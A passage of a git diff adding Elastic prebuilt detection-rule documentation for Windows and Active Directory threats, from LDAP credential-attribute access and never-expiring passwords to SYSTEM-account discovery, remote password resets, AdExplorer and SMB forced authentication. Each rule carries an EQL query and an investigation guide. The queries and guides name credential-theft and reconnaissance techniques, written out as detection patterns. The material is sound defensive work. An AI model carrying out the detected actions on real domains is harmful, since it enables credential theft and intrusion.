+[[prebuilt-rule-8-19-34-access-to-a-sensitive-ldap-attribute]] +=== Access to a Sensitive LDAP Attribute + +Identify access to sensitive Active Directory object attributes that contains credentials and decryption keys such as unixUserPassword, ms-PKI-AccountCredentials and msPKI-CredentialRoamingTokens. + +*Rule type*: eql + +*Rule indices*: + +* logs-system.security* +* logs-windows.forwarded* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.mandiant.com/resources/blog/apt29-windows-credential-roaming +* https://social.technet.microsoft.com/wiki/contents/articles/11483.windows-credential-roaming.aspx +* https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4662 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Tactic: Privilege Escalation +* Use Case: Active Directory Monitoring +* Data Source: Active Directory +* Data Source: Windows Security Event Logs +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 120 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Access to a Sensitive LDAP Attribute* + + +LDAP (Lightweight Directory Access Protocol) is crucial for accessing and managing directory information in Active Directory environments. Adversaries may exploit LDAP to access sensitive attributes like passwords and decryption keys, facilitating credential theft or privilege escalation. The detection rule identifies unauthorized access attempts by monitoring specific event codes and attribute identifiers, excluding benign activities to reduce noise, thus highlighting potential security threats. + + +*Possible investigation steps* + + +- Review the event logs for event code 4662 to identify the specific user or process attempting to access the sensitive LDAP attributes. +- Check the winlog.event_data.SubjectUserSid to determine the identity of the user or service account involved in the access attempt, excluding the well-known SID S-1-5-18 (Local System). +- Analyze the winlog.event_data.Properties field to confirm which sensitive attribute was accessed, such as unixUserPassword, ms-PKI-AccountCredentials, or msPKI-CredentialRoamingTokens. +- Investigate the context of the access attempt by correlating the event with other logs or alerts around the same timestamp to identify any suspicious patterns or activities. +- Verify the legitimacy of the access by checking if the user or process has a valid reason or permission to access the sensitive attributes, considering the organization's access control policies. +- Assess the potential impact of the access attempt on the organization's security posture, focusing on credential theft or privilege escalation risks. +- Document findings and, if necessary, escalate the incident to the appropriate security team for further action or remediation. + + +*False positive analysis* + + +- Access by legitimate administrative accounts: Regular access by system administrators to sensitive LDAP attributes can trigger alerts. To manage this, create exceptions for known administrative accounts by excluding their SIDs from the detection rule. +- Scheduled system processes: Automated tasks or system processes that require access to certain LDAP attributes may cause false positives. Identify these processes and exclude their specific event codes or AccessMasks if they are consistently benign. +- Service accounts: Service accounts that perform routine directory operations might access sensitive attributes as part of their normal function. Exclude these accounts by adding their SIDs to the exception list to prevent unnecessary alerts. +- Monitoring tools: Security or monitoring tools that scan directory attributes for compliance or auditing purposes can generate false positives. Whitelist these tools by excluding their event sources or specific actions from the detection criteria. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or data exfiltration. +- Conduct a thorough review of the access logs to identify any unauthorized users or systems that accessed the sensitive LDAP attributes. +- Reset passwords and revoke any potentially compromised credentials associated with the affected accounts, focusing on those with access to sensitive attributes. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine the scope of the breach. +- Implement additional monitoring on the affected systems and accounts to detect any further suspicious activities or attempts to access sensitive LDAP attributes. +- Review and update access controls and permissions for sensitive LDAP attributes to ensure they are restricted to only necessary personnel. +- Conduct a post-incident analysis to identify any gaps in security controls and update policies or procedures to prevent similar incidents in the future. + +==== Setup + + + +*Setup* + + +Audit Directory Service Access must be enabled to generate the events used by this rule. +Setup instructions: https://ela.st/audit-directory-service-access + + +==== Rule query + + +[source, js] +---------------------------------- +any where host.os.type == "windows" and event.code == "4662" and + + not winlog.event_data.SubjectUserSid : "S-1-5-18" and + + winlog.event_data.Properties : ( + /* unixUserPassword */ + "*612cb747-c0e8-4f92-9221-fdd5f15b550d*", + + /* ms-PKI-AccountCredentials */ + "*b8dfa744-31dc-4ef1-ac7c-84baf7ef9da7*", + + /* ms-PKI-DPAPIMasterKeys */ + "*b3f93023-9239-4f7c-b99c-6745d87adbc2*", + + /* msPKI-CredentialRoamingTokens */ + "*b7ff5a38-0818-42b0-8110-d3d154c97f24*" + ) and + + /* + Excluding noisy AccessMasks + 0x0 undefined and 0x100 Control Access + https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4662 + */ + not winlog.event_data.AccessMask in ("0x0", "0x100") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Private Keys +** ID: T1552.004 +** Reference URL: https://attack.mitre.org/techniques/T1552/004/ +* Technique: +** Name: Steal or Forge Authentication Certificates +** ID: T1649 +** Reference URL: https://attack.mitre.org/techniques/T1649/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Domain Accounts +** ID: T1078.002 +** Reference URL: https://attack.mitre.org/techniques/T1078/002/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Information Repositories +** ID: T1213 +** Reference URL: https://attack.mitre.org/techniques/T1213/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-account-configured-with-never-expiring-password.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-account-configured-with-never-expiring-password.asciidoc new file mode 100644 index 0000000000..7f71fdbdf3 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-account-configured-with-never-expiring-password.asciidoc @@ -0,0 +1,141 @@ +[[prebuilt-rule-8-19-34-account-configured-with-never-expiring-password]] +=== Account Configured with Never-Expiring Password + +Detects the creation and modification of an account with the "Don't Expire Password" option Enabled. Attackers can abuse this misconfiguration to persist in the domain and maintain long-term access using compromised accounts with this property. + +*Rule type*: eql + +*Rule indices*: + +* logs-system.security* +* logs-windows.forwarded* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.cert.ssi.gouv.fr/uploads/guide-ad.html#dont_expire +* http://web.archive.org/web/20230329171952/https://blog.menasec.net/2019/02/threat-hunting-26-persistent-password.html + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Active Directory +* Resources: Investigation Guide +* Use Case: Active Directory Monitoring +* Data Source: Windows Security Event Logs +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 218 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Account Configured with Never-Expiring Password* + + +Active Directory provides a setting that prevents users' passwords from expiring. Enabling this setting is bad practice and can expose environments to vulnerabilities that weaken security posture, especially when these accounts are privileged. + +The setting is usually configured so a user account can act as a service account. Attackers can abuse these accounts to persist in the domain and maintain long-term access using compromised accounts with a never-expiring password set. + + +*Possible investigation steps* + + +- Identify the user account that performed the action and whether it should perform this kind of action. +- Contact the account owner and confirm whether they are aware of this activity. +- Investigate other alerts associated with the user/source host during the past 48 hours. +- Inspect the account for suspicious or abnormal behaviors in the alert timeframe. + + +*False positive analysis* + + +- This activity should not happen legitimately. The security team should address any potential benign true positive (B-TP), as this configuration can put the user and the domain at risk. +- Using user accounts as service accounts is a bad security practice and should not be allowed in the domain. The security team should map and monitor potential benign true positives (B-TPs), especially if the account is privileged. For cases in which user accounts cannot be avoided, Microsoft provides the Group Managed Service Accounts (gMSA) feature, which ensures that the account password is robust and changed regularly and automatically. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Review the privileges assigned to the user to ensure that the least privilege principle is being followed. +- Reset the password of the account and update its password settings. +- Search for other occurrences on the domain. + - Using the https://docs.microsoft.com/en-us/powershell/module/activedirectory/get-aduser[Active Directory PowerShell module]: + - `get-aduser -filter { passwordNeverExpires -eq $true -and enabled -eq $true } | ft` +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +The following Windows audit policies must be enabled to generate the events used by this rule: +- https://ela.st/audit-user-account-management[Audit User Account Management] +- https://ela.st/audit-directory-service-changes[Audit Directory Service Changes] + + +==== Rule query + + +[source, js] +---------------------------------- +any where host.os.type == "windows" and +( + ( + event.code == "4738" and winlog.event_data.NewUACList == "USER_DONT_EXPIRE_PASSWORD" and not user.id == "S-1-5-18" + ) or + ( + event.code == "5136" and winlog.event_data.AttributeLDAPDisplayName == "userAccountControl" and + winlog.event_data.AttributeValue in ("66048", "66080") and winlog.event_data.OperationType == "%%14674" and + not ( + winlog.event_data.SubjectUserName : "*svc*" or + winlog.event_data.ObjectDN : "*Service*" + ) + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-account-discovery-command-via-system-account.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-account-discovery-command-via-system-account.asciidoc new file mode 100644 index 0000000000..1723e7533e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-account-discovery-command-via-system-account.asciidoc @@ -0,0 +1,169 @@ +[[prebuilt-rule-8-19-34-account-discovery-command-via-system-account]] +=== Account Discovery Command via SYSTEM Account + +Identifies when the SYSTEM account uses an account discovery utility. This could be a sign of discovery activity after an adversary has achieved privilege escalation. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.process-* +* logs-windows.sysmon_operational-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Discovery +* Tactic: Privilege Escalation +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Sysmon +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 217 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Account Discovery Command via SYSTEM Account* + + +After successfully compromising an environment, attackers may try to gain situational awareness to plan their next steps. This can happen by running commands to enumerate network resources, users, connections, files, and installed security software. + +This rule looks for the execution of account discovery utilities using the SYSTEM account, which is commonly observed after attackers successfully perform privilege escalation or exploit web applications. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. + - If the process tree includes a web-application server process such as w3wp, httpd.exe, nginx.exe and alike, investigate any suspicious file creation or modification in the last 48 hours to assess the presence of any potential webshell backdoor. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Determine how the SYSTEM account is being used. For example, users with administrator privileges can spawn a system shell using Windows services, scheduled tasks or other third party utilities. + + +*False positive analysis* + + +- Discovery activities are not inherently malicious if they occur in isolation. As long as the analyst did not identify suspicious activity related to the user or host, such alerts can be dismissed. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved hosts to prevent further post-compromise behavior. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). +- Use the data collected through the analysis to investigate other machines affected in the environment. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + (?process.Ext.token.integrity_level_name : "System" or + ?winlog.event_data.IntegrityLevel : "System") and + ( + process.name : "whoami.exe" or + ( + process.name : "net1.exe" and not process.parent.name : "net.exe" and not process.args : ("start", "stop", "/active:*") + ) + ) and +process.parent.executable != null and +not (process.name : "net1.exe" and process.working_directory : "C:\\ProgramData\\Microsoft\\Windows Defender Advanced Threat Protection\\Downloads\\") and +not process.parent.executable : + ("C:\\Program Files\\Microsoft Monitoring Agent\\Agent\\MonitoringHost.exe", + "C:\\Program Files\\Dell\\SupportAssistAgent\\SRE\\SRE.exe", + "C:\\Program Files\\Obkio Agent\\main.dist\\ObkioAgentSoftware.exe", + "C:\\Windows\\Temp\\WinGet\\defaultState\\PostgreSQL.PostgreSQL*\\postgresql-*-windows-x64.exe", + "C:\\Program Files\\Obkio Agent\\main.dist\\ObkioAgentSoftware.exe", + "C:\\Program Files (x86)\\SolarWinds\\Agent\\Plugins\\JobEngine\\SWJobEngineWorker2.exe") and +not (process.parent.executable : "C:\\Windows\\Sys?????\\WindowsPowerShell\\v1.0\\powershell.exe" and + process.parent.args : ("C:\\Program Files (x86)\\Microsoft Intune Management Extension\\*.ps1", + "Agent\\Modules\\AdHealthConfiguration\\AdHealthConfiguration.psd1'")) and +not (process.parent.name : "cmd.exe" and process.working_directory : "C:\\Program Files\\Infraon Corp\\SecuraAgent\\") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: System Owner/User Discovery +** ID: T1033 +** Reference URL: https://attack.mitre.org/techniques/T1033/ +* Technique: +** Name: Account Discovery +** ID: T1087 +** Reference URL: https://attack.mitre.org/techniques/T1087/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Local Accounts +** ID: T1078.003 +** Reference URL: https://attack.mitre.org/techniques/T1078/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-account-password-reset-remotely.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-account-password-reset-remotely.asciidoc new file mode 100644 index 0000000000..338266c764 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-account-password-reset-remotely.asciidoc @@ -0,0 +1,163 @@ +[[prebuilt-rule-8-19-34-account-password-reset-remotely]] +=== Account Password Reset Remotely + +Identifies an attempt to reset a potentially privileged account password remotely. Adversaries may manipulate account passwords to maintain access or evade password duration policies and preserve compromised credentials. + +*Rule type*: eql + +*Rule indices*: + +* logs-system.security* +* logs-windows.forwarded* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4724 +* https://stealthbits.com/blog/manipulating-user-passwords-with-mimikatz/ +* https://github.com/sbousseaden/EVTX-ATTACK-SAMPLES/blob/master/Credential%20Access/remote_pwd_reset_rpc_mimikatz_postzerologon_target_DC.evtx +* https://www.elastic.co/security-labs/detect-credential-access + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Impact +* Data Source: Windows Security Event Logs +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 223 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Account Password Reset Remotely* + + +Remote password resets are crucial for managing user accounts, especially for privileged users. However, adversaries exploit this by resetting passwords to maintain unauthorized access or bypass security policies. The detection rule identifies suspicious remote password resets by monitoring successful network logins and subsequent password reset actions, focusing on privileged accounts to minimize noise and highlight potential threats. + + +*Possible investigation steps* + + +- Review the source IP address from the authentication event to determine if it is from a known or trusted network. Investigate any unfamiliar or suspicious IP addresses. +- Check the winlog.event_data.TargetUserName from the password reset event to confirm if it belongs to a privileged account and verify if the reset was authorized. +- Correlate the winlog.event_data.SubjectLogonId from both the authentication and password reset events to ensure they are linked and identify the user or process responsible for the actions. +- Investigate the timing and frequency of similar events to identify patterns or anomalies that may indicate malicious activity. +- Examine any recent changes or activities associated with the account in question to assess if there are other signs of compromise or unauthorized access. + + +*False positive analysis* + + +- Routine administrative tasks can trigger false positives when legitimate IT staff reset passwords for maintenance or support. To manage this, create exceptions for known IT personnel or service accounts that frequently perform these actions. +- Automated scripts or tools used for account management might cause false alerts. Identify and exclude these scripts or tools by their specific account names or IP addresses. +- Scheduled password resets for compliance or security policies may appear suspicious. Document and exclude these scheduled tasks by their timing and associated accounts. +- Service accounts with naming conventions similar to privileged accounts might be flagged. Review and adjust the rule to exclude these specific service accounts by refining the naming patterns in the query. +- Internal network devices or systems that perform regular password resets could be misinterpreted as threats. Whitelist these devices by their IP addresses or hostnames to reduce noise. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement by the adversary. +- Revoke any active sessions associated with the compromised account to disrupt any ongoing malicious activities. +- Reset the password of the affected account using a secure method, ensuring it is done from a trusted and secure system. +- Conduct a thorough review of recent account activities and system logs to identify any additional unauthorized changes or access attempts. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine the scope of the breach. +- Implement additional monitoring on the affected account and related systems to detect any further suspicious activities. +- Review and update access controls and privileged account management policies to prevent similar incidents in the future. + + +*Performance* + +This rule may cause medium to high performance impact due to logic scoping all remote Windows logon activity. + + +==== Setup + + + +*Setup* + + +The following Windows audit policies must be enabled to generate the events used by this rule: +- https://ela.st/audit-logon[Audit Logon] +- https://ela.st/audit-user-account-management[Audit User Account Management] + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by winlog.computer_name with maxspan=1m + [authentication where host.os.type == "windows" and event.action == "logged-in" and + /* event 4624 need to be logged */ + winlog.logon.type : "Network" and event.outcome == "success" and source.ip != null and + source.ip != "127.0.0.1" and source.ip != "::1" and + not winlog.event_data.TargetUserName : ("svc*", "PIM_*", "_*_", "*-*-*", "*$")] by winlog.event_data.TargetLogonId + /* event 4724 need to be logged */ + [iam where host.os.type == "windows" and event.action == "reset-password" and + ( + /* + This rule is very noisy if not scoped to privileged accounts, duplicate the + rule and add your own naming convention and accounts of interest here. + */ + winlog.event_data.TargetUserName: ("*Admin*", "*super*", "*SVC*", "*DC0*", "*service*", "*DMZ*", "*ADM*") or + winlog.event_data.TargetSid : ("S-1-5-21-*-500", "S-1-12-1-*-500") + ) + ] by winlog.event_data.SubjectLogonId + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Account Access Removal +** ID: T1531 +** Reference URL: https://attack.mitre.org/techniques/T1531/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-active-directory-discovery-using-adexplorer.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-active-directory-discovery-using-adexplorer.asciidoc new file mode 100644 index 0000000000..1ff597dc3e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-active-directory-discovery-using-adexplorer.asciidoc @@ -0,0 +1,171 @@ +[[prebuilt-rule-8-19-34-active-directory-discovery-using-adexplorer]] +=== Active Directory Discovery using AdExplorer + +This rule detects the use of ADExplorer utility. Active Directory Explorer (AD Explorer) is an advanced Active Directory (AD) viewer and editor. AD Explorer also includes the ability to save snapshots of an AD database for off-line viewing and comparisons. Adversaries may abuse this utility to perform domain reconnaissance. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://learn.microsoft.com/en-us/sysinternals/downloads/adexplorer + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Discovery +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Active Directory Discovery using AdExplorer* + + +Active Directory Explorer (AD Explorer) is an advanced Active Directory (AD) viewer and editor. AD Explorer also includes the ability to save snapshots of an AD database for off-line viewing and comparisons. + + +*Possible investigation steps* + + +- Identify the user account that performed the action and whether it should perform this kind of action. +- Verify any file creation, this may indicate the creation of an AD snapshot. +- Identify when the AdExplorer binary was dropped and by what process reviewing file creation events. +- Contact the account owner and confirm whether they are aware of this activity. +- Investigate other alerts associated with the user/host during the past 48 hours. + + +*False positive analysis* + + +- This rule has a high chance to produce false positives as it is a legitimate tool used by system administrators. +- If this rule is noisy in your environment due to expected activity, consider adding exceptions — preferably with a combination of user and process path conditions. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + (process.name : "ADExplorer*.exe" or ?process.pe.original_file_name == "AdExp") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: System Network Configuration Discovery +** ID: T1016 +** Reference URL: https://attack.mitre.org/techniques/T1016/ +* Technique: +** Name: Remote System Discovery +** ID: T1018 +** Reference URL: https://attack.mitre.org/techniques/T1018/ +* Technique: +** Name: Permission Groups Discovery +** ID: T1069 +** Reference URL: https://attack.mitre.org/techniques/T1069/ +* Sub-technique: +** Name: Domain Groups +** ID: T1069.002 +** Reference URL: https://attack.mitre.org/techniques/T1069/002/ +* Technique: +** Name: Account Discovery +** ID: T1087 +** Reference URL: https://attack.mitre.org/techniques/T1087/ +* Sub-technique: +** Name: Domain Account +** ID: T1087.002 +** Reference URL: https://attack.mitre.org/techniques/T1087/002/ +* Technique: +** Name: Domain Trust Discovery +** ID: T1482 +** Reference URL: https://attack.mitre.org/techniques/T1482/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-active-directory-forced-authentication-from-linux-host-smb-named-pipes.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-active-directory-forced-authentication-from-linux-host-smb-named-pipes.asciidoc new file mode 100644 index 0000000000..54709dd416 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-active-directory-forced-authentication-from-linux-host-smb-named-pipes.asciidoc @@ -0,0 +1,149 @@ +[[prebuilt-rule-8-19-34-active-directory-forced-authentication-from-linux-host-smb-named-pipes]] +=== Active Directory Forced Authentication from Linux Host - SMB Named Pipes + +Identifies a potential forced authentication using related SMB named pipes. Attackers may attempt to force targets to authenticate to a host controlled by them to capture hashes or enable relay attacks. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.network-* +* logs-system.security* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/p0dalirius/windows-coerced-authentication-methods +* https://www.thehacker.recipes/a-d/movement/mitm-and-coerced-authentications +* https://attack.mitre.org/techniques/T1187/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* OS: Linux +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: Elastic Defend +* Data Source: Active Directory +* Use Case: Active Directory Monitoring +* Data Source: Windows Security Event Logs +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Platform: Linux + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Active Directory Forced Authentication from Linux Host - SMB Named Pipes* + + +Active Directory (AD) and SMB named pipes facilitate network resource access and inter-process communication. Adversaries exploit these by forcing authentication from a Linux host to capture credentials or perform relay attacks. The detection rule identifies suspicious SMB connection attempts from Linux to Windows hosts, focusing on specific named pipes indicative of forced authentication attempts, thus highlighting potential credential access threats. + + +*Possible investigation steps* + + +- Review the network logs to identify the Linux host IP address that attempted the SMB connection on port 445 and verify if this activity is expected or authorized. +- Check the Windows host logs for event code 5145 to determine which named pipes were accessed and assess if these accesses align with normal operations or indicate suspicious activity. +- Investigate the source IP address from the Windows logs to determine if it matches the Linux host IP and evaluate if this connection is part of a known and legitimate process. +- Analyze historical data for any previous similar connection attempts from the same Linux host to identify patterns or repeated unauthorized access attempts. +- Consult with system administrators to confirm if there have been any recent changes or updates in the network configuration that could explain the connection attempts. + + +*False positive analysis* + + +- Routine administrative tasks from Linux hosts may trigger alerts. Identify and document these tasks to create exceptions for known IP addresses or hostnames involved in regular operations. +- Automated backup or monitoring systems that connect to Windows hosts using SMB may cause false positives. Review and whitelist these systems by their IP addresses or specific named pipes they access. +- Development or testing environments where Linux hosts frequently interact with Windows systems can generate alerts. Establish a separate monitoring policy or exclude these environments from the rule to reduce noise. +- Security tools or scripts that perform network scans or audits might mimic suspicious behavior. Verify these tools and exclude their activities by specifying their source IPs or associated user accounts. +- Cross-platform file sharing services that use SMB for 